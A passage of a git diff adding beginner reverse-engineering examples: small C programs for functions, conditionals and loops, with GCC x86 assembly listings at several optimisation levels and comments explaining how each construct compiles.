Load the address of the first local variable into %eax */ + leal -4(%ebp),%eax + + /* push it. Thus the pointer is the third argument */ + pushl %eax + pushl $3 + pushl $1 + call functionPtrArg + addl $16,%esp +#APP + nop +#NO_APP + /* The example is the same as the previous, except we return a + * pointer */ + addl $-4,%esp + + leal -4(%ebp),%eax + pushl %eax + pushl $3 + pushl $1 + call functionPtrRet + addl $16,%esp + movl %eax,%eax + /* Put the value in %eax into the second local variable. So the second + * var must be an int pointer from out conclusions in functionPtrRet */ + movl %eax,-8(%ebp) +#APP + nop +#NO_APP + /* This example is intended to show how a function handles local + * variables as always being negative offsets from the %ebp */ + + /* Here we see another mystery stack allocation.. */ + subl $8, %esp + pushl $2 + pushl $1 + call functionLocalVars + addl $16, %esp + movl %eax, %eax + movl %eax, -4(%ebp) +#APP + nop +#NO_APP + +.L6: + leave + ret +.Lfe6: + .size main,.Lfe6-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" +// vim:noet diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-O2.s new file mode 100644 index 0000000..730c9ae --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-O2.s @@ -0,0 +1,150 @@ + .file "functions.c" + .version "01.01" +gcc2_compiled.: + .section .rodata +.LC0: + .string "%d, %d, %d\n" +.text + .align 4 +.globl function3args + .type function3args,@function +function3args: + pushl %ebp + movl %esp, %ebp + subl $8, %esp + pushl 16(%ebp) + pushl 12(%ebp) + pushl 8(%ebp) + pushl $.LC0 + call printf + leave + ret +.Lfe1: + .size function3args,.Lfe1-function3args + .align 4 +.globl function3argsRet + .type function3argsRet,@function +function3argsRet: + pushl %ebp + movl %esp, %ebp + movl 12(%ebp), %eax + imull 8(%ebp), %eax + imull 16(%ebp), %eax + popl %ebp + ret +.Lfe2: + .size function3argsRet,.Lfe2-function3argsRet + .align 4 +.globl functionPtrArg + .type functionPtrArg,@function +functionPtrArg: + pushl %ebp + movl %esp, %ebp + subl $8, %esp + movl 16(%ebp), %eax + pushl (%eax) + pushl 12(%ebp) + pushl 8(%ebp) + pushl $.LC0 + call printf + leave + ret +.Lfe3: + .size functionPtrArg,.Lfe3-functionPtrArg + .align 4 +.globl functionPtrRet + .type functionPtrRet,@function +functionPtrRet: + pushl %ebp + movl %esp, %ebp + movl 12(%ebp), %eax + addl 8(%ebp), %eax + sall $2, %eax + addl 16(%ebp), %eax + popl %ebp + ret +.Lfe4: + .size functionPtrRet,.Lfe4-functionPtrRet + .align 4 +.globl functionLocalVars + .type functionLocalVars,@function +functionLocalVars: + pushl %ebp + movl %esp, %ebp + pushl %ebx + pushl %eax + movl 8(%ebp), %ebx + movl %ebx, %eax + movl 12(%ebp), %ecx + cltd + movl %ebx, -8(%ebp) + idivl %ecx + xorl %ecx, -8(%ebp) + movl %eax, %ecx + orl %ecx, -8(%ebp) + andl -8(%ebp), %ebx + movl %ebx, %eax + movl -4(%ebp), %ebx + leave + ret +.Lfe5: + .size functionLocalVars,.Lfe5-functionLocalVars + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp, %ebp + pushl %ebx + subl $8, %esp +#APP + nop +#NO_APP + pushl $3 + pushl $2 + pushl $1 + call function3args +#APP + nop +#NO_APP + addl $12, %esp + pushl $3 + pushl $2 + pushl $1 + call function3argsRet + movl %eax, -8(%ebp) +#APP + nop +#NO_APP + addl $12, %esp + leal -8(%ebp), %ebx + pushl %ebx + pushl $3 + pushl $1 + call functionPtrArg +#APP + nop +#NO_APP + addl $12, %esp + pushl %ebx + pushl $3 + pushl $1 + call functionPtrRet +#APP + nop +#NO_APP + popl %edx + popl %ecx + pushl $2 + pushl $1 + call functionLocalVars + movl %eax, -8(%ebp) +#APP + nop +#NO_APP + movl -4(%ebp), %ebx + leave + ret +.Lfe6: + .size main,.Lfe6-main + .ident "GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-81)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-full.s new file mode 100644 index 0000000..8e42773 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-full.s @@ -0,0 +1,94 @@ + .file "functions.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d, %d, %d\n" +.text + .align 4 +.globl function3args + .type function3args,@function +function3args: + subl $12,%esp + pushl 24(%esp) + pushl 24(%esp) + pushl 24(%esp) + pushl $.LC0 + call printf + addl $16,%esp + addl $12,%esp + ret +.Lfe1: + .size function3args,.Lfe1-function3args + .align 4 +.globl function3argsRet + .type function3argsRet,@function +function3argsRet: + movl 4(%esp),%eax + imull 8(%esp),%eax + imull 12(%esp),%eax + ret +.Lfe2: + .size function3argsRet,.Lfe2-function3argsRet + .align 4 +.globl functionPtrArg + .type functionPtrArg,@function +functionPtrArg: + subl $12,%esp + movl 24(%esp),%eax + pushl (%eax) + pushl 24(%esp) + pushl 24(%esp) + pushl $.LC0 + call printf + addl $16,%esp + addl $12,%esp + ret +.Lfe3: + .size functionPtrArg,.Lfe3-functionPtrArg + .align 4 +.globl functionPtrRet + .type functionPtrRet,@function +functionPtrRet: + movl 4(%esp),%eax + sall $2,%eax + addl 12(%esp),%eax + movl 8(%esp),%edx + sall $2,%edx + addl %edx,%eax + ret +.Lfe4: + .size functionPtrRet,.Lfe4-functionPtrRet + .align 4 +.globl main + .type main,@function +main: + subl $12,%esp +#APP + nop +#NO_APP + pushl $3 + pushl $2 + pushl $1 + pushl $.LC0 + call printf + addl $16,%esp +#APP + nop + nop +#NO_APP + pushl $6 + pushl $3 + pushl $1 + pushl $.LC0 + call printf + addl $16,%esp +#APP + nop + nop +#NO_APP + addl $12,%esp + ret +.Lfe5: + .size main,.Lfe5-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions.c new file mode 100644 index 0000000..c6245a7 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions.c @@ -0,0 +1,66 @@ +#include + +void function3args(int a, int b, int c) +{ + printf("%d, %d, %d\n", a,b,c); +} + +int function3argsRet(int a, int b, int c) +{ + return a*b*c; +} + +void functionPtrArg(int a, int b, int *c) +{ + printf("%d, %d, %d\n", a,b,*c); +} + +int *functionPtrRet(int a, int b, int *c) +{ + return c + a + b; +} + +int functionLocalVars(int a, int b) +{ + int localA; + int localB; + int localC; + + localA = a ^ b; + localB = a / b; + localC = a % b; + + localC = localA | localB; + + return a & localC; +} + + +int main(int argc, char **argv) +{ + int a; + int *ptr; + + asm("nop"); + + function3args(1,2,3); + + asm("nop"); + + a = function3argsRet(1,2,3); + + asm("nop"); + + functionPtrArg(1,3, &a); + + asm("nop"); + + ptr = functionPtrRet(1,3, &a); + + asm("nop"); + + a = functionLocalVars(1,2); + + asm("nop"); +} + diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-O0.s new file mode 100644 index 0000000..cc3cf42 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-O0.s @@ -0,0 +1,51 @@ + .file "if.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" +.text + .align 4 +.globl main + .type main,@function +main: + /* save ebp */ + pushl %ebp + + /* move esp to ebp so we can access vars from ebp */ + movl %esp,%ebp + + /* allocate stack space */ + subl $24,%esp + + /* compare a to 0. The way this comparason works is that + * the subtraction a - 0 is performed, and all of the flags on p65-66 + * of the Intel Basic Archetecture manual are updated. */ + cmpl $0,-4(%ebp) + + /* If you check the Intel Instruction Reference, the conditions for + * jge are jump if SF == OF, ie jump if the result of the subtraction + * was positive and there was no overflow, or jump if the + * result of the subtraction was negative and there was an overflow */ + + /* So the proper way to abstract all this away in your brain + * is to think of cmp a,b and jXX as a pair that says: + * "Jump if b XX a" + */ + + /* Jump if a ge 0, so jump to .L3 if (a >= 0) */ + jge .L3 + + /* This code is now executed if (0 > a) */ + addl $-12,%esp + pushl $.LC0 + call printf + addl $16,%esp + +.L3: +.L2: + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-O2.s new file mode 100644 index 0000000..330b2a7 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-O2.s @@ -0,0 +1,52 @@ + .file "if.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" +.text + .align 4 +.globl main + .type main,@function +main: + /* Save ebp */ + pushl %ebp + /* Work off of sp */ + movl %esp,%ebp + + /* allocate space - Notice it goes unused. I'm still not sure why + * gcc does this. + */ + subl $8,%esp + + /* + * Here we see that GCC has decided to use the test instruction in a + * very wierd way. If you look at the Intel instruction reference + * manual, you see that they are using the SF flag that is set with + * the sign bit (remember the section we did on two's complement?) + * of %eax AND %eax. This allows them to use jge, which + * jumps on the condition that (SF = OF). Since OF is set to 0 by + * test, the jge jumps to L18 on the condition that the sign bit of + * %eax is 0. In otherwords, we jump to the end of the function + * if ( %eax >= 0 ). + * + */ + testl %eax,%eax + + /* So the general way to abstract away a test a,a, jXX pair is to say: + * "Jump if (a XX 0)" + */ + + /* if ( %eax >= 0) then jump */ + jge .L18 + + /* following code is executed if (%eax < 0 ) */ + addl $-12,%esp + pushl $.LC0 + call printf +.L18: + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-full.s new file mode 100644 index 0000000..b9593e1 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if-full.s @@ -0,0 +1,32 @@ + .file "if.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" +.text + .align 4 +.globl main + .type main,@function +main: + /* Notice we have no function prolog with -fomit-frame-pointer */ + /* Also notice that we STILL allocate unneeded stack space.. go gcc! */ + subl $12,%esp + + /* Again that odd use of test */ + testl %eax,%eax + + /* jump if (%eax ge 0) */ + jge .L18 + + + addl $-12,%esp + pushl $.LC0 + call printf + addl $16,%esp +.L18: + addl $12,%esp + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if.c new file mode 100644 index 0000000..a94f792 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/if.c @@ -0,0 +1,11 @@ +#include + +int main(int argc, char **argv) +{ + int a; + + if(a < 0) + { + printf("A is less than 0\n"); + } +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-O0.s new file mode 100644 index 0000000..691aef5 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-O0.s @@ -0,0 +1,52 @@ + .file "ifelse.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" + .align 32 +.LC1: + .string "A is greater than or equal to 0\n" +.LC2: + .string "Leaving main\n" +.text + .align 4 +.globl main + .type main,@function +main: + /* function prolog */ + pushl %ebp + movl %esp,%ebp + subl $24,%esp + + /* "Jump if -4(%ebp) ge 0" -> jump if (a >= 0) */ + cmpl $0,-4(%ebp) + jge .L3 + + /* This code executed if (a < 0) */ + addl $-12,%esp + pushl $.LC0 + call printf + addl $16,%esp + + /* Jump past the else clause to the unconditionally executed code */ + jmp .L4 + .p2align 4,,7 +.L3: + /* else { */ + addl $-12,%esp + pushl $.LC1 + call printf + addl $16,%esp +.L4: + /* Unconditionally executed printf */ + addl $-12,%esp + pushl $.LC2 + call printf + addl $16,%esp +.L2: + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-O2.s new file mode 100644 index 0000000..c92150e --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-O2.s @@ -0,0 +1,52 @@ + .file "ifelse.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" + .align 32 +.LC1: + .string "A is greater than or equal to 0\n" +.LC2: + .string "Leaving main\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $8,%esp + + /* jump if %eax ge 0 */ + testl %eax,%eax + jge .L18 + + /* code executed if (%eax < 0) */ + addl $-12,%esp + pushl $.LC0 + + /* Well now ain't this tricky. The printf call itself was determined + * to be redunant since it was in both the if and the else clauses. + * So it was moved right after the else section */ + + + /* Jump past else clause */ + jmp .L20 + .p2align 4,,7 +.L18: + /* Code executed if (%eax >= 0) */ + addl $-12,%esp + pushl $.LC1 +.L20: + /* Factored-out shared printf call */ + call printf + addl $16,%esp + addl $-12,%esp + pushl $.LC2 + call printf + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-full.s new file mode 100644 index 0000000..987664a --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse-full.s @@ -0,0 +1,40 @@ + .file "ifelse.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" + .align 32 +.LC1: + .string "A is greater than or equal to 0\n" +.LC2: + .string "Leaving main\n" +.text + .align 4 +.globl main + .type main,@function +main: + subl $12,%esp + /* not much in this file has changed as far as the if..else is + * concerened */ + testl %eax,%eax + jge .L18 + addl $-12,%esp + pushl $.LC0 + jmp .L20 + .p2align 4,,7 +.L18: + addl $-12,%esp + pushl $.LC1 +.L20: + call printf + addl $16,%esp + addl $-12,%esp + pushl $.LC2 + call printf + addl $16,%esp + addl $12,%esp + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse.c new file mode 100644 index 0000000..f5a9386 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelse.c @@ -0,0 +1,18 @@ +#include + +int main(int argc, char **argv) +{ + int a; + + if(a < 0) + { + printf("A is less than 0\n"); + } + else + { + printf("A is greater than or equal to 0\n"); + } + + printf("Leaving main\n"); + +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-O0.s new file mode 100644 index 0000000..2e00c49 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-O0.s @@ -0,0 +1,68 @@ + .file "ifelseif.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" +.LC1: + .string "A is 0\n" +.LC2: + .string "A > 0\n" +.LC3: + .string "Leaving main\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $24,%esp + + + /* "Jump past if body if -4(%ebp) ge 0" */ + cmpl $0,-4(%ebp) + jge .L3 + + /* code executed if (a > 0) */ + addl $-12,%esp + pushl $.LC0 + call printf + addl $16,%esp + + /* jump past else if and else clause */ + jmp .L4 + .p2align 4,,7 +.L3: + /* else.. */ + /* jump past elseif body if -4(%ebp) ne 0 */ + cmpl $0,-4(%ebp) + jne .L5 + + /* code executed if (a == 0 */ + addl $-12,%esp + pushl $.LC1 + call printf + addl $16,%esp + + /* Jump past else */ + jmp .L4 + .p2align 4,,7 +.L5: + /* else */ + addl $-12,%esp + pushl $.LC2 + call printf + addl $16,%esp +.L6: +.L4: + addl $-12,%esp + pushl $.LC3 + call printf + addl $16,%esp +.L2: + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-O2.s new file mode 100644 index 0000000..bd8ed7a --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-O2.s @@ -0,0 +1,57 @@ + .file "ifelseif.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" +.LC1: + .string "A is 0\n" +.LC2: + .string "A > 0\n" +.LC3: + .string "Leaving main\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $8,%esp + + /* jump past if body if %eax ge 0 */ + testl %eax,%eax + jge .L18 + + addl $-12,%esp + pushl $.LC0 + + /* jump past elseif and else */ + jmp .L22 + .p2align 4,,7 +.L18: + /* jump if %eax ne 0 */ + testl %eax,%eax + jne .L20 + + addl $-12,%esp + pushl $.LC1 + + /* Jump past else */ + jmp .L22 + .p2align 4,,7 +.L20: + addl $-12,%esp + pushl $.LC2 +.L22: + /* notice the factored printf again */ + call printf + addl $16,%esp + addl $-12,%esp + pushl $.LC3 + call printf + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-full.s new file mode 100644 index 0000000..c577986 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif-full.s @@ -0,0 +1,48 @@ + .file "ifelseif.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "A is less than 0\n" +.LC1: + .string "A is 0\n" +.LC2: + .string "A > 0\n" +.LC3: + .string "Leaving main\n" +.text + .align 4 +.globl main + .type main,@function +main: + /* again, not much has changed except this prolog. See if you can + * follow this program's flow without help from the comments */ + subl $12,%esp + testl %eax,%eax + jge .L18 + addl $-12,%esp + pushl $.LC0 + jmp .L22 + .p2align 4,,7 +.L18: + testl %eax,%eax + jne .L20 + addl $-12,%esp + pushl $.LC1 + jmp .L22 + .p2align 4,,7 +.L20: + addl $-12,%esp + pushl $.LC2 +.L22: + call printf + addl $16,%esp + addl $-12,%esp + pushl $.LC3 + call printf + addl $16,%esp + addl $12,%esp + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif.c new file mode 100644 index 0000000..e334b6b --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/if/ifelseif.c @@ -0,0 +1,22 @@ +#include + +int main(int argc, char **argv) +{ + int a; + + if(a < 0) + { + printf("A is less than 0\n"); + } + else if(a == 0) + { + printf("A is 0\n"); + } + else + { + printf("A > 0\n"); + } + + printf("Leaving main\n"); + +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-O0.s new file mode 100644 index 0000000..5caf2b4 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-O0.s @@ -0,0 +1,51 @@ + .file "dowhile.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $24,%esp + + /* Move 0 to var1 */ + movl $0,-4(%ebp) + .p2align 4,,7 +.L3: + /* call to printf */ + addl $-8,%esp + movl -4(%ebp),%eax + pushl %eax + pushl $.LC0 + call printf + addl $16,%esp + + /* var++ */ + incl -4(%ebp) +.L5: + /* Now, here we see the comparason at the bottom, so that the loop + * runs at least once before termination. Turns out the code for the + * comarison is generated the exact same way */ + + /* jump if var1 <= 9 */ + cmpl $9,-4(%ebp) + jle .L6 + + /* else quit */ + jmp .L4 + .p2align 4,,7 +.L6: + jmp .L3 + .p2align 4,,7 +.L4: +.L2: + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-O2.s new file mode 100644 index 0000000..39487b0 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-O2.s @@ -0,0 +1,40 @@ + .file "dowhile.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $16,%esp + pushl %esi + pushl %ebx + movl 12(%ebp),%esi + xorl %ebx,%ebx + .p2align 4,,7 +.L21: + addl $-8,%esp + pushl %ebx + pushl $.LC0 + call printf + incl %ebx + addl $16,%esp + addl $-12,%esp + pushl 4(%esi) + call atoi + addl $16,%esp + cmpl %eax,%ebx + jl .L21 + leal -24(%ebp),%esp + popl %ebx + popl %esi + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-full.s new file mode 100644 index 0000000..339e7d9 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile-full.s @@ -0,0 +1,30 @@ + .file "dowhile.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + subl $24,%esp + pushl %ebx + xorl %ebx,%ebx + .p2align 4,,7 +.L21: + addl $-8,%esp + pushl %ebx + pushl $.LC0 + call printf + incl %ebx + addl $16,%esp + cmpl $9,%ebx + jle .L21 + popl %ebx + addl $24,%esp + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile.c new file mode 100644 index 0000000..b626a2f --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/dowhile.c @@ -0,0 +1,13 @@ + +#include + +int main(int argc, char **argv) +{ + int i; + + i = 0; + do { + printf("%d\n", i); + i++; + } while(i < 10); +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-O0.s new file mode 100644 index 0000000..5cc230b --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-O0.s @@ -0,0 +1,48 @@ + .file "for.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $24,%esp + nop + + /* move 0 to var1 */ + movl $0,-4(%ebp) + .p2align 4,,7 +.L3: + /* Jump if var1 le 9, ie if var1 <= 9 */ + cmpl $9,-4(%ebp) + jle .L6 + /* exit loop */ + jmp .L4 + .p2align 4,,7 +.L6: + /* call to printf */ + addl $-8,%esp + movl -4(%ebp),%eax + pushl %eax + pushl $.LC0 + call printf + addl $16,%esp +.L5: + /* var++ */ + incl -4(%ebp) + jmp .L3 + .p2align 4,,7 + /* So we see that aside from some extra labels generated for each of + * the sections of the loop, they are the same instructions */ +.L4: +.L2: + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-O2.s new file mode 100644 index 0000000..6d0d41a --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-O2.s @@ -0,0 +1,42 @@ + .file "for.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $16,%esp + pushl %esi + pushl %ebx + movl 12(%ebp),%esi + xorl %ebx,%ebx + jmp .L18 + .p2align 4,,7 +.L21: + addl $-8,%esp + pushl %ebx + pushl $.LC0 + call printf + addl $16,%esp + incl %ebx +.L18: + addl $-12,%esp + pushl 4(%esi) + call atoi + addl $16,%esp + cmpl %eax,%ebx + jl .L21 + leal -24(%ebp),%esp + popl %ebx + popl %esi + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-full.s new file mode 100644 index 0000000..82f79d9 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for-full.s @@ -0,0 +1,30 @@ + .file "for.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + subl $24,%esp + pushl %ebx + xorl %ebx,%ebx + .p2align 4,,7 +.L21: + addl $-8,%esp + pushl %ebx + pushl $.LC0 + call printf + addl $16,%esp + incl %ebx + cmpl $9,%ebx + jle .L21 + popl %ebx + addl $24,%esp + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for.c new file mode 100644 index 0000000..9909ae6 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/for.c @@ -0,0 +1,12 @@ + +#include + +int main(int argc, char **argv) +{ + int i; + + for(i = 0; i < 10; i++) + { + printf("%d\n", i); + } +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-O0.s new file mode 100644 index 0000000..2e4d62a --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-O0.s @@ -0,0 +1,38 @@ + .file "while.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $24,%esp + movl $0,-4(%ebp) + .p2align 4,,7 +.L3: + cmpl $9,-4(%ebp) + jle .L5 + jmp .L4 + .p2align 4,,7 +.L5: + addl $-8,%esp + movl -4(%ebp),%eax + pushl %eax + pushl $.LC0 + call printf + addl 